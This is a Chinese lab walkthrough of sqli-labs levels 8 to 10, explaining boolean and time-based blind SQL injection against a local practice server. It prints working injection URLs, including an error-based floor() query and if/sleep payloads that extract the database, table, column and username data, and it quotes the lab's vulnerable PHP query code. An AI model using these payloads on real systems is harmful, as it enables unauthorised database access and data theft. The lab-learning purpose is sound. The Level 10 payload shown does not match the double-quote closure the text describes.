sqllibs-Less08-10

8.Less-08 Blind-Boolian-Single

8.1、报错尝试

输入如下试错语句

http://192.168.10.208:8081/sqli-labs-master/Less-8/?id=1’ 【单引号,错误】
http://192.168.10.208:8081/sqli-labs-master/Less-8/?id=1’%23 【单引号+注释,正常】
http://192.168.10.208:8081/sqli-labs-master/Less-8/?id=1" 【双引号,正常】

从上面的语句可以发现,这个闭合方式可能就是单引号闭合,页面类似于less05,但是

如下,从源码我们可以发现,在第五关的时候,会输出数据库产生的错误,但是在第八关的时候并不会输出。
在这里插入图片描述

但是less05也会报数据库的错误,但是这一关不会,因此,这一关的报错注入就不能使用了,所以需要使用延时注入进行盲注。如下,为用利用floor()进行报错注入,由于报错,我们可以发现,第八关无显示,但是第五关将报错信息显示出来了同时也执行了select user()语句。

http://192.168.10.208:8081/sqli-labs-master/Less-8/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

第八关输出结果:
在这里插入图片描述
第五关输出结果:
在这里插入图片描述

因此这一关主要是用if-sleep() 延时注入,payload参见第五关的payload。
sqllibs-Less05-06盲注方法拓展

8.2、代码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	//echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}

9、Less-09 Blind-Time Based-Single盲注payload详解

9.1、数据获取

从本关的题目可见,这关的是基于时间单引号的,即闭合方式可能及时单引号闭合。

关于闭合方式,我进行语句试错的时候发现单引号、双引号、括号啥的全部都是正常显示,,然后开始有点迷了。。。

9.1.1、猜测数据库

如果显示正确,那么将会快速加载页面,否则将会执行sleep(5),即睡眠5秒钟。
通过ascii(substr(database(),1,1)) = 115不断地去猜解数据库的长度以及每一个字母构成。第一位字母是s(ascii码是115)

http://192.168.10.208:8081/sqli-labs-master/Less-9/?id = 1' and if(ascii(substr(database(),1,1)) = 115,1,sleep(5))--+

在这里插入图片描述
二分法不断猜解,我们可以知道数据库名字是security。

9.1.2、猜测数据库security的数据表

第一张表的第一位是e(ascii码是101)。

http://192.168.10.208:8081/sqli-labs-master/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

二分法不断猜解,我们可以知道security数据库中的数据表emails,referers,uagents,users。

9.1.3、猜测数据表users表的列

http://192.168.10.208:8081/sqli-labs-master/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

我们可以知道users表的第一列的第一个字母是i,以此类推,我们可以得到列名是id,username,password。

9.1.4、猜测username的值

http://192.168.10.208:8081/sqli-labs-master/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

猜测usernaem第一行的第一位,以此类推,得到数据库的所有内容。

9.2、代码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	//echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}

10.Less-10 Blind-Time Based-Double

从标题就可以看出,这一关是基于时间双引号,即很明显的这关的闭合方式是双引号闭合,其余的类似于第九关,只需要将单引号变为双引号。

给出一个猜测数据库的payload,其余的参见第九关。

http://192.168.10.208:8081/sqli-labs-master/Less-10/?id= 1' and if(ascii(substr(database(),1,1)) = 115,1,sleep(5))--+
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值